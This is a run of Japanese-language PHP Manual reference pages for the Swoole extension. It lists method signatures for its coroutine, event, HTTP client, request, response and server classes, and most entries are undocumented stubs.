(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setDefer — Description

説明

public Swoole\Coroutine\Http\Client::setDefer ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::setDefer
  • Swoole\Coroutine\Http\Client::setMethod ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setHeaders

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setHeaders — Description

説明

public Swoole\Coroutine\Http\Client::setHeaders ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::setHeaders
  • Swoole\Coroutine\MySQL::close ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setMethod

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setMethod — Description

説明

public Swoole\Coroutine\Http\Client::setMethod ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::setMethod
  • Swoole\Coroutine\MySQL::connect ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::close — Description

説明

public Swoole\Coroutine\MySQL::close ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::close
  • Swoole\Coroutine\MySQL::__construct ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::connect

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::connect — Description

説明

public Swoole\Coroutine\MySQL::connect ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::connect
  • Swoole\Coroutine\MySQL::__destruct ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::__construct — Description

説明

public Swoole\Coroutine\MySQL::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::__construct
  • Swoole\Coroutine\MySQL::getDefer ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::__destruct — Description

説明

public Swoole\Coroutine\MySQL::__destruct ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::__destruct
  • Swoole\Coroutine\MySQL::query ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::getDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::getDefer — Description

説明

public Swoole\Coroutine\MySQL::getDefer ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::getDefer
  • Swoole\Coroutine\MySQL::recv ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::query

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::query — Description

説明

public Swoole\Coroutine\MySQL::query ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::query
  • Swoole\Coroutine\MySQL::setDefer ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::recv — Description

説明

public Swoole\Coroutine\MySQL::recv ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::recv
  • Swoole\Coroutine::getuid ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::setDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::setDefer — Description

説明

public Swoole\Coroutine\MySQL::setDefer ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\MySQL::setDefer
  • Swoole\Coroutine::resume ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::getuid

(PECL swoole >= 2.0.0)

Swoole\Coroutine::getuid — Description

説明

public static Swoole\Coroutine::getuid ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine::getuid
  • Swoole\Coroutine::suspend ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::resume

(PECL swoole >= 2.0.0)

Swoole\Coroutine::resume — Description

説明

public static Swoole\Coroutine::resume ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine::resume
  • Swoole\Event ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::suspend

(PECL swoole >= 2.0.0)

Swoole\Coroutine::suspend — Description

説明

public static Swoole\Coroutine::suspend ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Event class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Event {
/* メソッド */
public static add ( int $fd , callable $read_callback , callable $write_callback = ? , string $events = ? ) : bool
public static defer ( mixed $callback ) : void
public static del ( string $fd ) : bool
public static exit ( ) : void
public static set ( int $fd , string $read_callback = ? , string $write_callback = ? , string $events = ? ) : bool
public static wait ( ) : void
public static write ( string $fd , string $data ) : void
}

目次

  • Swoole\Event::add — Add new callback functions of a socket into the EventLoop.
  • Swoole\Event::defer — Add a callback function to the next event loop.
  • Swoole\Event::del — Remove all event callback functions of a socket.
  • Swoole\Event::exit — Exit the eventloop, only available at client side.
  • Swoole\Event::set — Update the event callback functions of a socket.
  • Swoole\Event::wait — Description
  • Swoole\Event::write — Write data to the socket.

User Contributed Notes

There are no user contributed notes for this page.


Add new callback functions of a socket into the EventLoop.

  • ≪ Swoole\Event
  • Swoole\Event::defer ≫
  • PHP Manual
  • Swoole\Event
  • Add new callback functions of a socket into the EventLoop.

Swoole\Event::add

(PECL swoole >= 1.9.0)

Swoole\Event::add — Add new callback functions of a socket into the EventLoop.

説明

public static Swoole\Event::add ( int $fd , callable $read_callback , callable $write_callback = ? , string $events = ? ) : bool

パラメータ

fd

read_callback

write_callback

events

返り値

User Contributed Notes

There are no user contributed notes for this page.


Add a callback function to the next event loop.

  • ≪ Swoole\Event::add
  • Swoole\Event::del ≫
  • PHP Manual
  • Swoole\Event
  • Add a callback function to the next event loop.

Swoole\Event::defer

(PECL swoole >= 1.9.0)

Swoole\Event::defer — Add a callback function to the next event loop.

説明

public static Swoole\Event::defer ( mixed $callback ) : void

パラメータ

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Remove all event callback functions of a socket.

  • ≪ Swoole\Event::defer
  • Swoole\Event::exit ≫
  • PHP Manual
  • Swoole\Event
  • Remove all event callback functions of a socket.

Swoole\Event::del

(PECL swoole >= 1.9.0)

Swoole\Event::del — Remove all event callback functions of a socket.

説明

public static Swoole\Event::del ( string $fd ) : bool

パラメータ

fd

返り値

User Contributed Notes

There are no user contributed notes for this page.


Exit the eventloop, only available at client side.

  • ≪ Swoole\Event::del
  • Swoole\Event::set ≫
  • PHP Manual
  • Swoole\Event
  • Exit the eventloop, only available at client side.

Swoole\Event::exit

(PECL swoole >= 1.9.0)

Swoole\Event::exit — Exit the eventloop, only available at client side.

説明

public static Swoole\Event::exit ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Update the event callback functions of a socket.

  • ≪ Swoole\Event::exit
  • Swoole\Event::wait ≫
  • PHP Manual
  • Swoole\Event
  • Update the event callback functions of a socket.

Swoole\Event::set

(PECL swoole >= 1.9.0)

Swoole\Event::set — Update the event callback functions of a socket.

説明

public static Swoole\Event::set ( int $fd , string $read_callback = ? , string $write_callback = ? , string $events = ? ) : bool

パラメータ

fd

read_callback

write_callback

events

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Event::set
  • Swoole\Event::write ≫
  • PHP Manual
  • Swoole\Event
  • Description

Swoole\Event::wait

(PECL swoole >= 1.9.0)

Swoole\Event::wait — Description

説明

public static Swoole\Event::wait ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

Mohamed Ramadan 05-Oct-2020 12:54
you can defined any function and didn't return any response till you end server
// write hello in terminal every 1 second and didnt stop
Swoole\Timer::tick(1000, function () {
    echo "hello\n";
});

Swoole\Event::wait();


Write data to the socket.

  • ≪ Swoole\Event::wait
  • Swoole\Exception ≫
  • PHP Manual
  • Swoole\Event
  • Write data to the socket.

Swoole\Event::write

(PECL swoole >= 1.9.0)

Swoole\Event::write — Write data to the socket.

説明

public static Swoole\Event::write ( string $fd , string $data ) : void

パラメータ

fd

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Exception class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Exception extends Exception implements Throwable {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Client class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Http\Client {
/* プロパティ */
public $errCode ;
public $sock ;
/* メソッド */
public addFile ( string $path , string $name , string $type = ? , string $filename = ? , string $offset = ? ) : void
public close ( ) : void
public __destruct ( ) : void
public download ( string $path , string $file , callable $callback , int $offset = ? ) : void
public execute ( string $path , string $callback ) : void
public get ( string $path , callable $callback ) : void
public isConnected ( ) : bool
public on ( string $event_name , callable $callback ) : void
public post ( string $path , string $data , callable $callback ) : void
public push ( string $data , string $opcode = ? , string $finish = ? ) : void
public set ( array $settings ) : void
public setCookies ( array $cookies ) : void
public setData ( string $data ) : ReturnType
public setHeaders ( array $headers ) : void
public setMethod ( string $method ) : void
public upgrade ( string $path , string $callback ) : void
}

プロパティ

errCode

sock

目次

  • Swoole\Http\Client::addFile — Add a file to the post form.
  • Swoole\Http\Client::close — Close the http connection.
  • Swoole\Http\Client::__construct — Construct the async HTTP client.
  • Swoole\Http\Client::__destruct — Destruct the HTTP client.
  • Swoole\Http\Client::download — Download a file from the remote server.
  • Swoole\Http\Client::execute — Send the HTTP request after setting the parameters.
  • Swoole\Http\Client::get — Send GET http request to the remote server.
  • Swoole\Http\Client::isConnected — Check if the HTTP connection is connected.
  • Swoole\Http\Client::on — Register callback function by event name.
  • Swoole\Http\Client::post — Send POST http request to the remote server.
  • Swoole\Http\Client::push — Push data to websocket client.
  • Swoole\Http\Client::set — Update the HTTP client paramters.
  • Swoole\Http\Client::setCookies — Set the http request cookies.
  • Swoole\Http\Client::setData — Set the HTTP request body data.
  • Swoole\Http\Client::setHeaders — Set the HTTP request headers.
  • Swoole\Http\Client::setMethod — Set the HTTP request method.
  • Swoole\Http\Client::upgrade — Upgrade to websocket protocol.

User Contributed Notes

There are no user contributed notes for this page.


Add a file to the post form.

  • ≪ Swoole\Http\Client
  • Swoole\Http\Client::close ≫
  • PHP Manual
  • Swoole\Http\Client
  • Add a file to the post form.

Swoole\Http\Client::addFile

(PECL swoole >= 1.9.0)

Swoole\Http\Client::addFile — Add a file to the post form.

説明

public Swoole\Http\Client::addFile ( string $path , string $name , string $type = ? , string $filename = ? , string $offset = ? ) : void

パラメータ

path

name

type

filename

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


Close the http connection.

  • ≪ Swoole\Http\Client::addFile
  • Swoole\Http\Client::__construct ≫
  • PHP Manual
  • Swoole\Http\Client
  • Close the http connection.

Swoole\Http\Client::close

(PECL swoole >= 1.9.0)

Swoole\Http\Client::close — Close the http connection.

説明

public Swoole\Http\Client::close ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Construct the async HTTP client.

  • ≪ Swoole\Http\Client::close
  • Swoole\Http\Client::__destruct ≫
  • PHP Manual
  • Swoole\Http\Client
  • Construct the async HTTP client.

Swoole\Http\Client::__construct

(PECL swoole >= 1.9.0)

Swoole\Http\Client::__construct — Construct the async HTTP client.

説明

public Swoole\Http\Client::__construct ( string $host , string $port = ? , bool $ssl = ? )

パラメータ

host

The hostname of the remote host.

port

The port number of the remote host.

ssl

Whether to enable SSL.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the HTTP client.

  • ≪ Swoole\Http\Client::__construct
  • Swoole\Http\Client::download ≫
  • PHP Manual
  • Swoole\Http\Client
  • Destruct the HTTP client.

Swoole\Http\Client::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Client::__destruct — Destruct the HTTP client.

説明

public Swoole\Http\Client::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Download a file from the remote server.

  • ≪ Swoole\Http\Client::__destruct
  • Swoole\Http\Client::execute ≫
  • PHP Manual
  • Swoole\Http\Client
  • Download a file from the remote server.

Swoole\Http\Client::download

(PECL swoole >= 1.9.0)

Swoole\Http\Client::download — Download a file from the remote server.

説明

public Swoole\Http\Client::download ( string $path , string $file , callable $callback , int $offset = ? ) : void

パラメータ

path

file

callback

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send the HTTP request after setting the parameters.

  • ≪ Swoole\Http\Client::download
  • Swoole\Http\Client::get ≫
  • PHP Manual
  • Swoole\Http\Client
  • Send the HTTP request after setting the parameters.

Swoole\Http\Client::execute

(PECL swoole >= 1.9.0)

Swoole\Http\Client::execute — Send the HTTP request after setting the parameters.

説明

public Swoole\Http\Client::execute ( string $path , string $callback ) : void

パラメータ

path

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send GET http request to the remote server.

  • ≪ Swoole\Http\Client::execute
  • Swoole\Http\Client::isConnected ≫
  • PHP Manual
  • Swoole\Http\Client
  • Send GET http request to the remote server.

Swoole\Http\Client::get

(PECL swoole >= 1.9.0)

Swoole\Http\Client::get — Send GET http request to the remote server.

説明

public Swoole\Http\Client::get ( string $path , callable $callback ) : void

パラメータ

path

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if the HTTP connection is connected.

  • ≪ Swoole\Http\Client::get
  • Swoole\Http\Client::on ≫
  • PHP Manual
  • Swoole\Http\Client
  • Check if the HTTP connection is connected.

Swoole\Http\Client::isConnected

(PECL swoole >= 1.9.0)

Swoole\Http\Client::isConnected — Check if the HTTP connection is connected.

説明

public Swoole\Http\Client::isConnected ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Register callback function by event name.

  • ≪ Swoole\Http\Client::isConnected
  • Swoole\Http\Client::post ≫
  • PHP Manual
  • Swoole\Http\Client
  • Register callback function by event name.

Swoole\Http\Client::on

(PECL swoole >= 1.9.0)

Swoole\Http\Client::on — Register callback function by event name.

説明

public Swoole\Http\Client::on ( string $event_name , callable $callback ) : void

パラメータ

event_name

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send POST http request to the remote server.

  • ≪ Swoole\Http\Client::on
  • Swoole\Http\Client::push ≫
  • PHP Manual
  • Swoole\Http\Client
  • Send POST http request to the remote server.

Swoole\Http\Client::post

(PECL swoole >= 1.9.0)

Swoole\Http\Client::post — Send POST http request to the remote server.

説明

public Swoole\Http\Client::post ( string $path , string $data , callable $callback ) : void

パラメータ

path

data

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Push data to websocket client.

  • ≪ Swoole\Http\Client::post
  • Swoole\Http\Client::set ≫
  • PHP Manual
  • Swoole\Http\Client
  • Push data to websocket client.

Swoole\Http\Client::push

(PECL swoole >= 1.9.0)

Swoole\Http\Client::push — Push data to websocket client.

説明

public Swoole\Http\Client::push ( string $data , string $opcode = ? , string $finish = ? ) : void

パラメータ

data

opcode

finish

返り値

User Contributed Notes

There are no user contributed notes for this page.


Update the HTTP client paramters.

  • ≪ Swoole\Http\Client::push
  • Swoole\Http\Client::setCookies ≫
  • PHP Manual
  • Swoole\Http\Client
  • Update the HTTP client paramters.

Swoole\Http\Client::set

(PECL swoole >= 1.9.0)

Swoole\Http\Client::set — Update the HTTP client paramters.

説明

public Swoole\Http\Client::set ( array $settings ) : void

パラメータ

settings

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the http request cookies.

  • ≪ Swoole\Http\Client::set
  • Swoole\Http\Client::setData ≫
  • PHP Manual
  • Swoole\Http\Client
  • Set the http request cookies.

Swoole\Http\Client::setCookies

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setCookies — Set the http request cookies.

説明

public Swoole\Http\Client::setCookies ( array $cookies ) : void

パラメータ

cookies

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP request body data.

  • ≪ Swoole\Http\Client::setCookies
  • Swoole\Http\Client::setHeaders ≫
  • PHP Manual
  • Swoole\Http\Client
  • Set the HTTP request body data.

Swoole\Http\Client::setData

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setData — Set the HTTP request body data.

説明

public Swoole\Http\Client::setData ( string $data ) : ReturnType

The HTTP method will be changed to be POST.

パラメータ

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP request headers.

  • ≪ Swoole\Http\Client::setData
  • Swoole\Http\Client::setMethod ≫
  • PHP Manual
  • Swoole\Http\Client
  • Set the HTTP request headers.

Swoole\Http\Client::setHeaders

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setHeaders — Set the HTTP request headers.

説明

public Swoole\Http\Client::setHeaders ( array $headers ) : void

パラメータ

headers

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP request method.

  • ≪ Swoole\Http\Client::setHeaders
  • Swoole\Http\Client::upgrade ≫
  • PHP Manual
  • Swoole\Http\Client
  • Set the HTTP request method.

Swoole\Http\Client::setMethod

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setMethod — Set the HTTP request method.

説明

public Swoole\Http\Client::setMethod ( string $method ) : void

パラメータ

method

返り値

User Contributed Notes

There are no user contributed notes for this page.


Upgrade to websocket protocol.

  • ≪ Swoole\Http\Client::setMethod
  • Swoole\Http\Request ≫
  • PHP Manual
  • Swoole\Http\Client
  • Upgrade to websocket protocol.

Swoole\Http\Client::upgrade

(PECL swoole >= 1.9.0)

Swoole\Http\Client::upgrade — Upgrade to websocket protocol.

説明

public Swoole\Http\Client::upgrade ( string $path , string $callback ) : void

パラメータ

path

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Request class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Http\Request {
/* メソッド */
public __destruct ( ) : void
public rawcontent ( ) : string
}

目次

  • Swoole\Http\Request::__destruct — Destruct the HTTP request.
  • Swoole\Http\Request::rawcontent — Get the raw HTTP POST body.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the HTTP request.

  • ≪ Swoole\Http\Request
  • Swoole\Http\Request::rawcontent ≫
  • PHP Manual
  • Swoole\Http\Request
  • Destruct the HTTP request.

Swoole\Http\Request::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Request::__destruct — Destruct the HTTP request.

説明

public Swoole\Http\Request::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the raw HTTP POST body.

  • ≪ Swoole\Http\Request::__destruct
  • Swoole\Http\Response ≫
  • PHP Manual
  • Swoole\Http\Request
  • Get the raw HTTP POST body.

Swoole\Http\Request::rawcontent

(PECL swoole >= 1.9.0)

Swoole\Http\Request::rawcontent — Get the raw HTTP POST body.

説明

public Swoole\Http\Request::rawcontent ( ) : string

This method is used for the POST data which isn't in the form of `application/x-www-form-urlencoded`.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Response class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Http\Response {
/* メソッド */
public cookie ( string $name , string $value = ? , string $expires = ? , string $path = ? , string $domain = ? , string $secure = ? , string $httponly = ? ) : string
public __destruct ( ) : void
public end ( string $content = ? ) : void
public gzip ( string $compress_level = ? ) : ReturnType
public header ( string $key , string $value , string $ucwords = ? ) : void
public initHeader ( ) : ReturnType
public rawcookie ( string $name , string $value = ? , string $expires = ? , string $path = ? , string $domain = ? , string $secure = ? , string $httponly = ? ) : ReturnType
public sendfile ( string $filename , int $offset = ? ) : ReturnType
public status ( string $http_code ) : ReturnType
public write ( string $content ) : void
}

目次

  • Swoole\Http\Response::cookie — Set the cookies of the HTTP response.
  • Swoole\Http\Response::__destruct — Destruct the HTTP response.
  • Swoole\Http\Response::end — Send data for the HTTP request and finish the response.
  • Swoole\Http\Response::gzip — Enable the gzip of response content.
  • Swoole\Http\Response::header — Set the HTTP response headers.
  • Swoole\Http\Response::initHeader — Init the HTTP response header.
  • Swoole\Http\Response::rawcookie — Set the raw cookies to the HTTP response.
  • Swoole\Http\Response::sendfile — Send file through the HTTP response.
  • Swoole\Http\Response::status — Set the status code of the HTTP response.
  • Swoole\Http\Response::write — Append HTTP body content to the HTTP response.

User Contributed Notes

There are no user contributed notes for this page.


Set the cookies of the HTTP response.

  • ≪ Swoole\Http\Response
  • Swoole\Http\Response::__destruct ≫
  • PHP Manual
  • Swoole\Http\Response
  • Set the cookies of the HTTP response.

Swoole\Http\Response::cookie

(PECL swoole >= 1.9.0)

Swoole\Http\Response::cookie — Set the cookies of the HTTP response.

説明

public Swoole\Http\Response::cookie ( string $name , string $value = ? , string $expires = ? , string $path = ? , string $domain = ? , string $secure = ? , string $httponly = ? ) : string

パラメータ

name

value

expires

path

domain

secure

httponly

返り値

User Contributed Notes

There are no user contributed notes for this page.


Destruct the HTTP response.

  • ≪ Swoole\Http\Response::cookie
  • Swoole\Http\Response::end ≫
  • PHP Manual
  • Swoole\Http\Response
  • Destruct the HTTP response.

Swoole\Http\Response::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Response::__destruct — Destruct the HTTP response.

説明

public Swoole\Http\Response::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send data for the HTTP request and finish the response.

  • ≪ Swoole\Http\Response::__destruct
  • Swoole\Http\Response::gzip ≫
  • PHP Manual
  • Swoole\Http\Response
  • Send data for the HTTP request and finish the response.

Swoole\Http\Response::end

(PECL swoole >= 1.9.0)

Swoole\Http\Response::end — Send data for the HTTP request and finish the response.

説明

public Swoole\Http\Response::end ( string $content = ? ) : void

パラメータ

content

返り値

User Contributed Notes

There are no user contributed notes for this page.


Enable the gzip of response content.

  • ≪ Swoole\Http\Response::end
  • Swoole\Http\Response::header ≫
  • PHP Manual
  • Swoole\Http\Response
  • Enable the gzip of response content.

Swoole\Http\Response::gzip

(PECL swoole >= 1.9.0)

Swoole\Http\Response::gzip — Enable the gzip of response content.

説明

public Swoole\Http\Response::gzip ( string $compress_level = ? ) : ReturnType

The header about Content-Encoding will be added automatically.

パラメータ

compress_level

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP response headers.

  • ≪ Swoole\Http\Response::gzip
  • Swoole\Http\Response::initHeader ≫
  • PHP Manual
  • Swoole\Http\Response
  • Set the HTTP response headers.

Swoole\Http\Response::header

(PECL swoole >= 1.9.0)

Swoole\Http\Response::header — Set the HTTP response headers.

説明

public Swoole\Http\Response::header ( string $key , string $value , string $ucwords = ? ) : void

パラメータ

key

value

ucwords

返り値

User Contributed Notes

There are no user contributed notes for this page.


Init the HTTP response header.

  • ≪ Swoole\Http\Response::header
  • Swoole\Http\Response::rawcookie ≫
  • PHP Manual
  • Swoole\Http\Response
  • Init the HTTP response header.

Swoole\Http\Response::initHeader

(PECL swoole >= 1.9.0)

Swoole\Http\Response::initHeader — Init the HTTP response header.

説明

public Swoole\Http\Response::initHeader ( ) : ReturnType

Init the HTTP response header.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the raw cookies to the HTTP response.

  • ≪ Swoole\Http\Response::initHeader
  • Swoole\Http\Response::sendfile ≫
  • PHP Manual
  • Swoole\Http\Response
  • Set the raw cookies to the HTTP response.

Swoole\Http\Response::rawcookie

(PECL swoole >= 1.9.0)

Swoole\Http\Response::rawcookie — Set the raw cookies to the HTTP response.

説明

public Swoole\Http\Response::rawcookie ( string $name , string $value = ? , string $expires = ? , string $path = ? , string $domain = ? , string $secure = ? , string $httponly = ? ) : ReturnType

パラメータ

name

value

expires

path

domain

secure

httponly

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send file through the HTTP response.

  • ≪ Swoole\Http\Response::rawcookie
  • Swoole\Http\Response::status ≫
  • PHP Manual
  • Swoole\Http\Response
  • Send file through the HTTP response.

Swoole\Http\Response::sendfile

(PECL swoole >= 1.9.0)

Swoole\Http\Response::sendfile — Send file through the HTTP response.

説明

public Swoole\Http\Response::sendfile ( string $filename , int $offset = ? ) : ReturnType

Send file through the HTTP response.

パラメータ

filename

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the status code of the HTTP response.

  • ≪ Swoole\Http\Response::sendfile
  • Swoole\Http\Response::write ≫
  • PHP Manual
  • Swoole\Http\Response
  • Set the status code of the HTTP response.

Swoole\Http\Response::status

(PECL swoole >= 1.9.0)

Swoole\Http\Response::status — Set the status code of the HTTP response.

説明

public Swoole\Http\Response::status ( string $http_code ) : ReturnType

Set the status code of the HTTP response.

パラメータ

http_code

返り値

User Contributed Notes

There are no user contributed notes for this page.


Append HTTP body content to the HTTP response.

  • ≪ Swoole\Http\Response::status
  • Swoole\Http\Server ≫
  • PHP Manual
  • Swoole\Http\Response
  • Append HTTP body content to the HTTP response.

Swoole\Http\Response::write

(PECL swoole >= 1.9.0)

Swoole\Http\Response::write — Append HTTP body content to the HTTP response.

説明

public Swoole\Http\Response::write ( string $content ) : void

Append HTTP body content to the HTTP response.

パラメータ

content

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Server class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Http\Server extends Swoole\Server {
/* メソッド */
public on ( string $event_name , callable $callback ) : void
public start ( ) : void
/* 継承したメソッド */
public Swoole\Server::addlistener ( string $host , int $port , string $socket_type ) : void
public Swoole\Server::addProcess ( swoole_process $process ) : bool
public Swoole\Server::after ( int $after_time_ms , callable $callback , string $param = ? ) : ReturnType
public Swoole\Server::bind ( int $fd , int $uid ) : bool
public Swoole\Server::clearTimer ( int $timer_id ) : void
swoole_timer_clear ( int $timer_id ) : void
public Swoole\Server::close ( int $fd , bool $reset = ? ) : bool
public Swoole\Server::confirm ( int $fd ) : bool
public Swoole\Server::connection_info ( int $fd , int $reactor_id = ? ) : array
public Swoole\Server::connection_list ( int $start_fd , int $pagesize = ? ) : array
public Swoole\Server::defer ( callable $callback ) : void
public Swoole\Server\Port::__destruct ( ) : void
public Swoole\Server\Port::on ( string $event_name , callable $callback ) : ReturnType
public Swoole\Server\Port::set ( array $settings ) : void
public Swoole\Server::exist ( int $fd ) : bool
public Swoole\Server::finish ( string $data ) : void
public Swoole\Server::getClientInfo ( int $fd , int $reactor_id = ? ) : ReturnType
public Swoole\Server::getClientList ( int $start_fd , int $pagesize = ? ) : array
public Swoole\Server::getLastError ( ) : int
public Swoole\Server::heartbeat ( bool $if_close_connection ) : mixed
public Swoole\Server::listen ( string $host , int $port , string $socket_type ) : bool
public Swoole\Server::on ( string $event_name , callable $callback ) : void
public Swoole\Server::pause ( int $fd ) : void
public Swoole\Server::protect ( int $fd , bool $is_protected = ? ) : void
public Swoole\Server::reload ( ) : bool
public Swoole\Server::resume ( int $fd ) : void
public Swoole\Server::send ( int $fd , string $data , int $reactor_id = ? ) : bool
